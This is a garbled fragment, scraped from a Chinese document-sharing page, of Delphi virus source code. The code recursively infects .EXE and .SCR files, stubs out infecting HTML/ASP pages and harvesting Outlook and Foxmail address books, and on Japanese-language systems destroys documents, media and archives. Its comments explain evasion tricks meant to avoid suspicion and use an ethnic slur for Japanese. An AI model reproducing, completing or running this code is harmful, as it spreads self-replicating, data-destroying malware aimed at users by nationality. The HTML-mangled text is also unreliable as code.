112、chRec): Integer;</p><p><b> begin</b></p><p> if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and</p><p> (SearchRec.Name <> '..&
113、#39;) then</p><p> Result := 0 //不是目錄</p><p> else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and</p><p> (SearchRec.Name <> '..') then<
114、/p><p> Result := 1 //不是根目錄</p><p> else Result := 2; //是根目錄</p><p><b> end;</b></p><p><b> begin</b></p><p> if (FindFirst(Path
115、+ Mask, faAnyFile, SearchRec) = 0) then</p><p><b> begin</b></p><p><b> repeat</b></p><p> PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊列,避免引起懷疑</p>
116、<p> if IsValidDir(SearchRec) = 0 then</p><p><b> begin</b></p><p> Fn := Path + SearchRec.Name;</p><p> Ext := UpperCase(ExtractFileExt(Fn));</p><
117、p> if (Ext = '.EXE') or (Ext = '.SCR') then</p><p><b> begin</b></p><p> InfectOneFile(Fn); //感染可執(zhí)行文件 </p><p><b> end</b></p
118、><p> else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') </p><p><b> then</b></p><p><b> begin</b></p><p> //感
119、染HTML和ASP文件,將Base64編碼后的病毒寫入</p><p> //感染瀏覽此網(wǎng)頁的所有用戶</p><p> //哪位大兄弟愿意完成之?</p><p><b> end</b></p><p> else if Ext = '.WAB' then //Outlook地址簿文件<
120、/p><p><b> begin</b></p><p> //獲取Outlook郵件地址</p><p><b> end</b></p><p> else if Ext = '.ADC' then //Foxmail地址自動完成文件</p><p>
121、;<b> begin</b></p><p> //獲取Foxmail郵件地址</p><p><b> end</b></p><p> else if Ext = 'IND' then //Foxmail地址簿文件</p><p><b> begin<
122、;/b></p><p> //獲取Foxmail郵件地址</p><p><b> end</b></p><p><b> else </b></p><p><b> begin</b></p><p> if IsJap then
123、 //是倭文操作系統(tǒng)</p><p><b> begin</b></p><p> if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or</p><p> (Ext = '.MP3') or (Ext = '
124、;.RM') or (Ext = '.RA') or</p><p> (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or</p><p> (Ext = '.MPEG') or (Ext = '.ASF') or (Ext =
125、 '.JPG') or</p><p> (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or</p><p> (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') th
126、en</p><p> SmashFile(Fn); //摧毀文件</p><p><b> end;</b></p><p><b> end;</b></p><p><b> end;</b></p><p> //感染或刪除一個文件后睡
127、眠200毫秒,避免CPU占用率過高引起懷疑</p><p> Sleep(200);</p><p> until (FindNext(SearchRec) <> 0);</p><p><b> end;</b></p><p> FindClose(SearchRec);</p>&
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 眾賞文庫僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 計算機病毒防治
- 計算機病毒與防治畢業(yè)論文
- 計算機病毒
- 計算機病毒畢業(yè)論文-- 計算機病毒解析與防范技術(shù)研究
- 計算機病毒特性及其防治
- 計算機安全與計算機病毒的預防探究
- 計算機病毒特征及其防治研究
- 計算機病毒ppt
- 計算機病毒教案
- 計算機病毒第5章計算機病毒檢測技術(shù)概要
- 畢業(yè)設(shè)計----計算機病毒模擬程序
- 計算機畢業(yè)論文---常見計算機病毒檢測預防研究
- 計算機病毒 畢業(yè)論文
- 計算機英文文獻翻譯---計算機病毒
- 計算機網(wǎng)絡(luò)課程設(shè)計---計算機病毒研究
- 計算機安全畢業(yè)論文--計算機病毒與反病毒發(fā)展趨勢
- 計算機專業(yè)畢業(yè)論文外文翻譯--計算機病毒介紹
- 計算機病毒外文翻譯
- 計算機病毒外文翻譯
- 常見計算機病毒簡介
評論
0/150
提交評論